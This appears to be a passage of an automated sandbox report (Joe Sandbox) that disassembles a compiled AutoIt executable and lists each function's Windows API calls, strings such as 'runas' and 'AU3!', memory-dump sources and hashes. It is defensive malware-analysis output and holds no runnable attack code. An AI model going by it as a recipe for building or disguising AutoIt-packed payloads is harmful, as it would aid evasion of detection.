Part of subcall function 00007FF7C0E53CBC: CreateWindowExW.USER32 ref: 00007FF7C0E53D5F
Part of subcall function 00007FF7C0E53CBC: ShowWindow.USER32 ref: 00007FF7C0E53D75

Part of subcall function 00007FF7C0E56258: Shell_NotifyIconW.SHELL32 ref: 00007FF7C0E56350

Strings

This is a third-party compiled AutoIt script., xrefs: 00007FF7C0E9B87F
runas, xrefs: 00007FF7C0E9B973

Memory Dump Source

Source File: 0000000B.00000002.2238883218.00007FF7C0E51000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00007FF7C0E50000, based on PE: true

Associated: 0000000B.00000002.2238864380.00007FF7C0E50000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.2238949175.00007FF7C0F05000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.2238949175.00007FF7C0F28000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.2238999063.00007FF7C0F3A000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.2239025602.00007FF7C0F44000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_7ff7c0e50000_PefjSkkhb.jbxd

Similarity

API ID: Load$IconWindow$CurrentDirectory$CreateFullNamePath$BrushClassColorCursorDebuggerExecuteForegroundImageMessageNotifyPresentRegisterShellShell_Show
String ID: This is a third-party compiled AutoIt script.$runas
API String ID: 1593035822-3287110873
Opcode ID: 281c1e7be99c4a7b18314b13c4019a2424d473888b2523f6306895d303977498
Instruction ID: f28d4bf39988d1c18ce868720635db604448815cae68fb2f3476af5688b2c7a8
Opcode Fuzzy Hash: 281c1e7be99c4a7b18314b13c4019a2424d473888b2523f6306895d303977498
Instruction Fuzzy Hash: DC713B6195CA8795EA20FF60E8405F9E360BF41774FC00532E94D863AADF6CF689C7A0

Function 00007FF7C0E56580 Relevance: 14.2, APIs: 5, Strings: 3, Instructions: 208
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateStreamOnHGlobal.COMBASE ref: 00007FF7C0E5674B
FindResourceExW.KERNEL32 ref: 00007FF7C0E5676B
LoadResource.KERNEL32 ref: 00007FF7C0E9C985
SizeofResource.KERNEL32 ref: 00007FF7C0E9C99E
LockResource.KERNEL32 ref: 00007FF7C0E9C9B1

Strings

AU3!, xrefs: 00007FF7C0E565D8
EA06, xrefs: 00007FF7C0E9CA59
SCRIPT, xrefs: 00007FF7C0E5675D

Memory Dump Source

Source File: 0000000B.00000002.2238883218.00007FF7C0E51000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00007FF7C0E50000, based on PE: true

Associated: 0000000B.00000002.2238864380.00007FF7C0E50000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.2238949175.00007FF7C0F05000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.2238949175.00007FF7C0F28000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.2238999063.00007FF7C0F3A000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.2239025602.00007FF7C0F44000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_7ff7c0e50000_PefjSkkhb.jbxd

Similarity

API ID: Resource$CreateFindGlobalLoadLockSizeofStream
String ID: AU3!$EA06$SCRIPT
API String ID: 3051347437-2925976212
Opcode ID: 30f6ba7276d28cb9964872315e4a0112bd0f4edd02183a3a1bb8bc557d64f8ed
Instruction ID: 27f31272685c9fb1a58c459f5b44de0f25031023b9e2f0d856552810bbe821a4
Opcode Fuzzy Hash: 30f6ba7276d28cb9964872315e4a0112bd0f4edd02183a3a1bb8bc557d64f8ed
Instruction Fuzzy Hash: 24912272B49A4186EB20FF21D444ABDA7A8BB45BA8F814536DE4D87781DF7CF444C3A0

Function 00007FF7C0E71D80 Relevance: 12.5, APIs: 6, Strings: 1, Instructions: 251
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetVersionExW.KERNEL32 ref: 00007FF7C0E71DC8
GetCurrentProcess.KERNEL32 ref: 00007FF7C0E71F42
IsWow64Process.KERNEL32 ref: 00007FF7C0E71F52
GetSystemInfo.KERNELBASE ref: 00007FF7C0E71F8B

Strings

|O, xrefs: 00007FF7C0EB954C

Memory Dump Source

Source File: 0000000B.00000002.2238883218.00007FF7C0E51000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00007FF7C0E50000, based on PE: true

Associated: 0000000B.00000002.2238864380.00007FF7C0E50000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.2238949175.00007FF7C0F05000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.2238949175.00007FF7C0F28000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.2238999063.00007FF7C0F3A000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.2239025602.00007FF7C0F44000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_7ff7c0e50000_PefjSkkhb.jbxd

Similarity

API ID: Process$CurrentInfoSystemVersionWow64
String ID: |O
API String ID: 1568231622-607156228
Opcode ID: ec54e35f865d5c9bd0249927ea89c9316792baffd49f7d05aa477cb653b26fcc
Instruction ID: efe60b21d9563ed03c07c162890fdd3ed7acf78d766a5b2c8630c46cca48474e
Opcode Fuzzy Hash: ec54e35f865d5c9bd0249927ea89c9316792baffd49f7d05aa477cb653b26fcc
Instruction Fuzzy Hash: 73D18D21A9D28285FA21FF58A800975AB90AF517A4FC0017ADE8DC2775DF7CB180C7B5

Function 00007FF7C0EEF630 Relevance: 12.4, APIs: 8, Instructions: 350
processCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetSystemDirectoryW.KERNEL32 ref: 00007FF7C0EEF80A
GetSystemDirectoryW.KERNEL32 ref: 00007FF7C0EEF838
GetCurrentDirectoryW.KERNEL32 ref: 00007FF7C0EEF881
GetCurrentDirectoryW.KERNEL32 ref: 00007FF7C0EEF8AF

Part of subcall function 00007FF7C0ECFAFC: GetStdHandle.KERNEL32 ref: 00007FF7C0ECFB23

CreateProcessW.KERNELBASE ref: 00007FF7C0EEFA43
GetLastError.KERNEL32 ref: 00007FF7C0EEFA88
CloseHandle.KERNEL32 ref: 00007FF7C0EEFAC2

Part of subcall function 00007FF7C0ECF7DC: ~SyncLockT.VCCORLIB ref: 00007FF7C0ECF7E9
Part of subcall function 00007FF7C0ECF7DC: ~SyncLockT.VCCORLIB ref: 00007FF7C0ECF7F2

CloseHandle.KERNEL32 ref: 00007FF7C0EEFB35

Memory Dump Source

Source File: 0000000B.00000002.2238883218.00007FF7C0E51000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00007FF7C0E50000, based on PE: true

Associated: 0000000B.00000002.2238864380.00007FF7C0E50000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.2238949175.00007FF7C0F05000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.2238949175.00007FF7C0F28000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.2238999063.00007FF7C0F3A000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.2239025602.00007FF7C0F44000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_7ff7c0e50000_PefjSkkhb.jbxd

Similarity

API ID: Directory$Handle$CloseCurrentLockSyncSystem$CreateErrorLastProcess
String ID:
API String ID: 1787492119-0
Opcode ID: ddb31b1ea6ffbce714698367dc00d601beb7cc94552172ff8982eeff5935b681
Instruction ID: 04e86f21ab5da2a86c1bbfc886ef7f39a57fbb2dbc6f1b4ca9c7cba438503062
Opcode Fuzzy Hash: ddb31b1ea6ffbce714698367dc00d601beb7cc94552172ff8982eeff5935b681
Instruction Fuzzy Hash: D9E1BF22B48B5585EB14FF26D4502BDA3A0FB84BA8F804532EE5D877A9DF38F441C790

Function 00007FF7C0ECC7C0 Relevance: 6.0, APIs: 4, Instructions: 24filestringCOMMON

Download Yara Rule

APIs

lstrlenW.KERNEL32 ref: 00007FF7C0ECC7CC
GetFileAttributesW.KERNELBASE ref: 00007FF7C0ECC7E0
FindFirstFileW.KERNEL32 ref: 00007FF7C0ECC7F3
FindClose.KERNEL32 ref: 00007FF7C0ECC802

Memory Dump Source

Source File: 0000000B.00000002.2238883218.00007FF7C0E51000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00007FF7C0E50000, based on PE: true

Associated: 0000000B.00000002.2238864380.00007FF7C0E50000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.2238949175.00007FF7C0F05000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.2238949175.00007FF7C0F28000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.2238999063.00007FF7C0F3A000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.2239025602.00007FF7C0F44000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_7ff7c0e50000_PefjSkkhb.jbxd

Similarity

API ID: FileFind$AttributesCloseFirstlstrlen
String ID:
API String ID: 2695905019-0
Opcode ID: 0e40a590ccee8b84c2b17bba0c0d64c91c67e628f63cf05be15c9ff0c6569a5d
Instruction ID: 1eef34be54a00ffdfdf17362f084cb2bcdadb48052c73f817cda9baa72e24a86
Opcode Fuzzy Hash: 0e40a590ccee8b84c2b17bba0c0d64c91c67e628f63cf05be15c9ff0c6569a5d
Instruction Fuzzy Hash: 67F05411E4C64281EA287F28A8083369261BF41BB5F944330D47E863E4DFACF49842A0

Function 00007FF7C0E57920 Relevance: 15.9, APIs: 6, Strings: 3, Instructions: 178
registryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00007FF7C0E55680: GetModuleFileNameW.KERNEL32(?,00007FF7C0E57A0C,?,?,?,00007FF7C0E5109E), ref: 00007FF7C0E5569F

Part of subcall function 00007FF7C0E73A38: GetFullPathNameW.KERNEL32(?,00007FF7C0E57A1B,?,?,?,00007FF7C0E5109E), ref: 00007FF7C0E73A5F

RegOpenKeyExW.KERNELBASE(?,?,?,00007FF7C0E5109E), ref: 00007FF7C0E57A75
RegQueryValueExW.ADVAPI32(?,?,?,00007FF7C0E5109E), ref: 00007FF7C0E9D081
RegQueryValueExW.ADVAPI32(?,?,?,00007FF7C0E5109E), ref: 00007FF7C0E9D0E9
RegCloseKey.ADVAPI32(?,?,?,00007FF7C0E5109E), ref: 00007FF7C0E9D138
wcscat.LIBCMT ref: 00007FF7C0E9D19E
wcscat.LIBCMT ref: 00007FF7C0E9D1CF

Strings

Include, xrefs: 00007FF7C0E9D06F, 00007FF7C0E9D0D2
\Include\, xrefs: 00007FF7C0E57A1B
Software\AutoIt v3\AutoIt, xrefs: 00007FF7C0E57A64

Memory Dump Source

Source File: 0000000B.00000002.2238883218.00007FF7C0E51000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00007FF7C0E50000, based on PE: true

Associated: 0000000B.00000002.2238864380.00007FF7C0E50000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.2238949175.00007FF7C0F05000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.2238949175.00007FF7C0F28000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.2238999063.00007FF7C0F3A000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.2239025602.00007FF7C0F44000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_7ff7c0e50000_PefjSkkhb.jbxd

Similarity

API ID: NameQueryValuewcscat$CloseFileFullModuleOpenPath
String ID: Include$Software\AutoIt v3\AutoIt$\Include\
API String ID: 2667193904-1575078665
Opcode ID: 556029334d18f1e7f1a6bcd8ff6412e7b433a3d19d3476e5022d6bd965ae193f
Instruction ID: 4da9e2274bf121f18bf45f772dccd41abfd90e226bab8c5c374e9f809123b77c
Opcode Fuzzy Hash: 556029334d18f1e7f1a6bcd8ff6412e7b433a3d19d3476e5022d6bd965ae193f
Instruction Fuzzy Hash: 05913F22A1CA5295EB50FF64E8405B9A364FF84764FC01132EA4D83BA5DFBCF645C7A0

Function 00007FF7C0E55DEC Relevance: 15.9, APIs: 8, Strings: 1, Instructions: 143
windowtimeregistryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

DefWindowProcW.USER32 ref: 00007FF7C0E55E76
KillTimer.USER32 ref: 00007FF7C0E55EB1
SetTimer.USER32 ref: 00007FF7C0E55ED9
RegisterWindowMessageW.USER32 ref: 00007FF7C0E55EE6
CreatePopupMenu.USER32 ref: 00007FF7C0E55EFC
PostQuitMessage.USER32 ref: 00007FF7C0E55F23

Strings

TaskbarCreated, xrefs: 00007FF7C0E55EDF

Memory Dump Source

Source File: 0000000B.00000002.2238883218.00007FF7C0E51000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00007FF7C0E50000, based on PE: true

Associated: 0000000B.00000002.2238864380.00007FF7C0E50000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.2238949175.00007FF7C0F05000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.2238949175.00007FF7C0F28000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.2238999063.00007FF7C0F3A000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.2239025602.00007FF7C0F44000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_7ff7c0e50000_PefjSkkhb.jbxd

Similarity

API ID: MessageTimerWindow$CreateKillMenuPopupPostProcQuitRegister
String ID: TaskbarCreated
API String ID: 129472671-2362178303
Opcode ID: 72f25fe2909dc216fe8e5bf23ccffbdf7394ac074e80fb2f1d04dd01aa152451
Instruction ID: 1dba336b18c11b9090d1c52788c0bc69adf5caddd4fdf9e563ab818a84f6b8d1
Opcode Fuzzy Hash: 72f25fe2909dc216fe8e5bf23ccffbdf7394ac074e80fb2f1d04dd01aa152451
Instruction Fuzzy Hash: 03516B32D8CA4381F620BFA4E865579E660AF45B64FC40831D94DC27A5DF7CF684C7A0

Function 00007FF7C0E53D90 Relevance: 15.8, APIs: 7, Strings: 2, Instructions: 57
windowregistryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetSysColorBrush.USER32 ref: 00007FF7C0E53DE5
RegisterClassExW.USER32 ref: 00007FF7C0E53E16
RegisterWindowMessageW.USER32 ref: 00007FF7C0E53E2A
InitCommonControlsEx.COMCTL32 ref: 00007FF7C0E53E48
ImageList_Create.COMCTL32 ref: 00007FF7C0E53E63
LoadIconW.USER32 ref: 00007FF7C0E53E7C
ImageList_ReplaceIcon.COMCTL32 ref: 00007FF7C0E53E8F

Strings

TaskbarCreated, xrefs: 00007FF7C0E53E1C
AutoIt v3 GUI, xrefs: 00007FF7C0E53DF8

Memory Dump Source

Source File: 0000000B.00000002.2238883218.00007FF7C0E51000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00007FF7C0E50000, based on PE: true

Associated: 0000000B.00000002.2238864380.00007FF7C0E50000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.2238949175.00007FF7C0F05000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.2238949175.00007FF7C0F28000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.2238999063.00007FF7C0F3A000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.2239025602.00007FF7C0F44000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_7ff7c0e50000_PefjSkkhb.jbxd

Similarity

API ID: IconImageList_Register$BrushClassColorCommonControlsCreateInitLoadMessageReplaceWindow
String ID: AutoIt v3 GUI$TaskbarCreated
API String ID: 2914291525-2659433951
Opcode ID: 474949a99bec8184bed6bacf9f27c592b422b8b82249946e56584e62d8b9113a
Instruction ID: fe5b016d70b1415a8746656f976427b8ca2ff006582e2add571b66ac84ad4312
Opcode Fuzzy Hash: 474949a99bec8184bed6bacf9f27c592b422b8b82249946e56584e62d8b9113a
Instruction Fuzzy Hash: 16313E32A08B018AE700DFA0E8447A977B4FB44768F900135CE5D97764DF7CA199CB90

Function 00007FF7C0E6E958 Relevance: 14.3, APIs: 7, Strings: 1, Instructions: 304
comCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

mciSendStringW.WINMM ref: 00007FF7C0E6E9C3
OleUninitialize.OLE32 ref: 00007FF7C0E6EABF
UnregisterHotKey.USER32(?,?,?,00007FF7C0E6E939), ref: 00007FF7C0E6ECD9
DestroyWindow.USER32(?,?,?,00007FF7C0E6E939), ref: 00007FF7C0EB27E4

Strings

close all, xrefs: 00007FF7C0E6E9B7

Memory Dump Source

Source File: 0000000B.00000002.2238883218.00007FF7C0E51000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00007FF7C0E50000, based on PE: true

Associated: 0000000B.00000002.2238864380.00007FF7C0E50000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.2238949175.00007FF7C0F05000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.2238949175.00007FF7C0F28000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.2238999063.00007FF7C0F3A000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.2239025602.00007FF7C0F44000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_7ff7c0e50000_PefjSkkhb.jbxd

Similarity

API ID: DestroySendStringUninitializeUnregisterWindow
String ID: close all
API String ID: 1992507300-3243417748
Opcode ID: 898e7ad48959ea57d970830a0d3bf25c9db69e83af24dfb35c39e817a9ff6a77
Instruction ID: 6f3dfe103c2f5224412cf4ef44832ee9a4e4b147b5ae43eb073a25858b0d46bb
Opcode Fuzzy Hash: 898e7ad48959ea57d970830a0d3bf25c9db69e83af24dfb35c39e817a9ff6a77
Instruction Fuzzy Hash: 02E17F25B89A4681EE58FF16D56027CA320BF84B64F984535CB0E973D1DF3CF86287A4

Function 00007FF7C0E53B84 Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 60
windowregistryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetSysColorBrush.USER32 ref: 00007FF7C0E53B9E
LoadCursorW.USER32 ref: 00007FF7C0E53BAE
LoadIconW.USER32 ref: 00007FF7C0E53BC3
LoadIconW.USER32 ref: 00007FF7C0E53BDC
LoadIconW.USER32 ref: 00007FF7C0E53BF5
LoadImageW.USER32 ref: 00007FF7C0E53C21
RegisterClassExW.USER32 ref: 00007FF7C0E53C85

Part of subcall function 00007FF7C0E53D90: GetSysColorBrush.USER32 ref: 00007FF7C0E53DE5
Part of subcall function 00007FF7C0E53D90: RegisterClassExW.USER32 ref: 00007FF7C0E53E16
Part of subcall function 00007FF7C0E53D90: RegisterWindowMessageW.USER32 ref: 00007FF7C0E53E2A
Part of subcall function 00007FF7C0E53D90: InitCommonControlsEx.COMCTL32 ref: 00007FF7C0E53E48
Part of subcall function 00007FF7C0E53D90: ImageList_Create.COMCTL32 ref: 00007FF7C0E53E63
Part of subcall function 00007FF7C0E53D90: LoadIconW.USER32 ref: 00007FF7C0E53E7C
Part of subcall function 00007FF7C0E53D90: ImageList_ReplaceIcon.COMCTL32 ref: 00007FF7C0E53E8F

Strings

AutoIt v3, xrefs: 00007FF7C0E53C3F

Memory Dump Source

Source File: 0000000B.00000002.2238883218.00007FF7C0E51000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00007FF7C0E50000, based on PE: true

Associated: 0000000B.00000002.2238864380.00007FF7C0E50000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.2238949175.00007FF7C0F05000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.2238949175.00007FF7C0F28000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.2238999063.00007FF7C0F3A000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.2239025602.00007FF7C0F44000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_7ff7c0e50000_PefjSkkhb.jbxd

Similarity

API ID: Load$Icon$ImageRegister$BrushClassColorList_$CommonControlsCreateCursorInitMessageReplaceWindow
String ID: AutoIt v3
API String ID: 423443420-1704141276
Opcode ID: b93c51c6ba6201518573a4e6f5cf88ec382112454fc31c9e44e1a0e1eb884e3c
Instruction ID: 6a61113b772dc9684281b236f2c621148f0eb31c392c6e8f54786523efce2ec4
Opcode Fuzzy Hash: b93c51c6ba6201518573a4e6f5cf88ec382112454fc31c9e44e1a0e1eb884e3c
Instruction Fuzzy Hash: 4731EA36A0CB018AE740EF91E8547697774BB44B68F900539CE8D97764DF7CE19487A0

Function 00007FF7C0E97348 Relevance: 13.8, APIs: 9, Instructions: 272
fileCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00007FF7C0E97078: _invalid_parameter_noinfo.LIBCMT ref: 00007FF7C0E970B9
Part of subcall function 00007FF7C0E97078: _invalid_parameter_noinfo.LIBCMT ref: 00007FF7C0E97136
Part of subcall function 00007FF7C0E97078: _invalid_parameter_noinfo.LIBCMT ref: 00007FF7C0E97187

CreateFileW.KERNELBASE ref: 00007FF7C0E97449
CreateFileW.KERNEL32 ref: 00007FF7C0E974A5
GetLastError.KERNEL32 ref: 00007FF7C0E974D9
GetFileType.KERNELBASE ref: 00007FF7C0E974EE
GetLastError.KERNEL32 ref: 00007FF7C0E974F8
CloseHandle.KERNEL32 ref: 00007FF7C0E9752B
CloseHandle.KERNEL32 ref: 00007FF7C0E97684
CreateFileW.KERNEL32 ref: 00007FF7C0E976BC
GetLastError.KERNEL32 ref: 00007FF7C0E976CB

Memory Dump Source

Source File: 0000000B.00000002.2238883218.00007FF7C0E51000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00007FF7C0E50000, based on PE: true

Associated: 0000000B.00000002.2238864380.00007FF7C0E50000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.2238949175.00007FF7C0F05000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.2238949175.00007FF7C0F28000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.2238999063.00007FF7C0F3A000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.2239025602.00007FF7C0F44000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_7ff7c0e50000_PefjSkkhb.jbxd

Similarity

API ID: File$CreateErrorLast_invalid_parameter_noinfo$CloseHandle$Type
String ID:
API String ID: 1617910340-0
Opcode ID: bd4a1088ede243f3322a3f1c9bbf7769167306ab08ad22946a7c562bc07e9b3d
Instruction ID: 99fce5044795ddc0eae7d346abeae05cfee0a3f7bb94c935ca8d8086c504d361
Opcode Fuzzy Hash: bd4a1088ede243f3322a3f1c9bbf7769167306ab08ad22946a7c562bc07e9b3d
Instruction Fuzzy Hash: 2CC1EF33B28A418AEB50EF65D4413AC7761EB49BA8F411235DE6E9B3D5CF38E055C390

Function 00007FF7C0E625BC Relevance: 12.4, APIs: 8, Instructions: 442
windowtimeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetInputState.USER32 ref: 00007FF7C0E626DA
timeGetTime.WINMM ref: 00007FF7C0E628BC
PeekMessageW.USER32 ref: 00007FF7C0E629E3
TranslateMessage.USER32 ref: 00007FF7C0E62A23
DispatchMessageW.USER32 ref: 00007FF7C0E62A2D
PeekMessageW.USER32 ref: 00007FF7C0E62A47

Memory Dump Source

Source File: 0000000B.00000002.2238883218.00007FF7C0E51000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00007FF7C0E50000, based on PE: true

Associated: 0000000B.00000002.2238864380.00007FF7C0E50000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.2238949175.00007FF7C0F05000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.2238949175.00007FF7C0F28000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.2238999063.00007FF7C0F3A000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.2239025602.00007FF7C0F44000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_7ff7c0e50000_PefjSkkhb.jbxd

Similarity

API ID: Message$Peek$DispatchInputStateTimeTranslatetime
String ID:
API String ID: 3249950245-0
Opcode ID: cada76aaec2e95197ea9794318e9bab72f6b91bcd410f9b5cf757f28c90778f0
Instruction ID: 6e9faa3366f07ffd9c9b38a0ab93dddfad6383c2890d81f1bdc3b19ba83c7ba2
Opcode Fuzzy Hash: cada76aaec2e95197ea9794318e9bab72f6b91bcd410f9b5cf757f28c90778f0
Instruction Fuzzy Hash: F3228E36A4CA8686EB64BF20E4443F9A7A0EB45B64F944135CB4E83795CF7CF484C7A0

Function 00007FF7C0E53CBC Relevance: 10.5, APIs: 3, Strings: 3, Instructions: 40
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateWindowExW.USER32 ref: 00007FF7C0E53D0C
CreateWindowExW.USER32 ref: 00007FF7C0E53D5F
ShowWindow.USER32 ref: 00007FF7C0E53D75

Strings

AutoIt v3, xrefs: 00007FF7C0E53CC8
d, xrefs: 00007FF7C0E53CF4
edit, xrefs: 00007FF7C0E53D18

Memory Dump Source

Source File: 0000000B.00000002.2238883218.00007FF7C0E51000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00007FF7C0E50000, based on PE: true

Associated: 0000000B.00000002.2238864380.00007FF7C0E50000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.2238949175.00007FF7C0F05000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.2238949175.00007FF7C0F28000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.2238999063.00007FF7C0F3A000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 0000000B.00000002.2239025602.00007FF7C0F44000.00000002.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_7ff7c0e50000_PefjSkkhb.jbxd

Similarity

API ID: Window$Create$Show
String ID: AutoIt v3$d$edit
API String ID: 2813641753-2600919596
Opcode ID: 412c1a8e669cd880a5e6e492a58c687317b7b955f6e005d5c76c80bfee5a5580
Instruction ID: 268bfd0cf2984ca2de12482352fd28e3b11e412fec651a54609444cc6f00dfc1
Opcode Fuzzy Hash: 412c1a8e669cd880a5e6e492a58c687317b7b955f6e005d5c76c80bfee5a5580
Instruction Fuzzy Hash: 03212172A2CB4186EB50DF50F44872AB7A0F7487A9F504238DA8D86764CFBDE185CB54

Function 00007FF7C0E57EC0 Relevance: 7.2, APIs: 3, Strings: 1, Instructions: 185
comCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00007FF7C0E72D5C: MapVirtualKeyW.USER32(?,?,?,00007FF7C0E57FA5), ref: 00007FF7C0E72D8E
Part of subcall function 00007FF7C0E72D5C: MapVirtualKeyW.USER32(?,?,?,00007FF7C0E57FA5), ref: 00007FF7C0E72D9C
Part of subcall function 00007FF7C0E72D5C: MapVirtualKeyW.USER32(?,?,?,00007FF7C0E57FA5), ref: 00007FF7C0E72DAC
Part of subcall function 00007FF7C0E72D5C: MapVirtualKeyW.USER32(?,?,?,00007FF7C0E57FA5), ref: 00007FF7C0E72DBC
Part of subcall function 00007FF7C0E72D5C: MapVirtualKeyW.USER32(?,?,?,00007FF7C0E57FA5), ref: 00007FF7C0E72DCA
Part of subcall function 00007FF7C0E72D5C: MapVirtualKeyW.USER32(?,?,?,00007FF7C0E57FA5), ref: 00007FF7C0E72DD8

Part of subcall function 00007FF7C0E6EEC8: RegisterWindowMessageW.USER32 ref: 00007FF7C0E6EF76

GetStdHandle.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,00007FF7C0E5106D), ref: 00007FF7C0E58209
OleInitialize.OLE32(?,?,?,?,?,?,?,?,?,?,?,?,?,00007FF7C0E5106D), ref: 00007FF7C0E5828F
CloseHandle.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,00007FF7C0E5106D), ref: 00007FF7C0E9D36A

Strings

AutoIt, xrefs: 00007FF7C0E57F46

Memory Dump Source

Source File: 0000000B.00000002.2238883218.00007FF7C0E51000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00007FF7C0E50000, based on PE: true

Associated: 0000000B.00000002.2238864380.00007FF7C0E50000.00000002.00000001.01000000.0000000D.sdmpDownload File
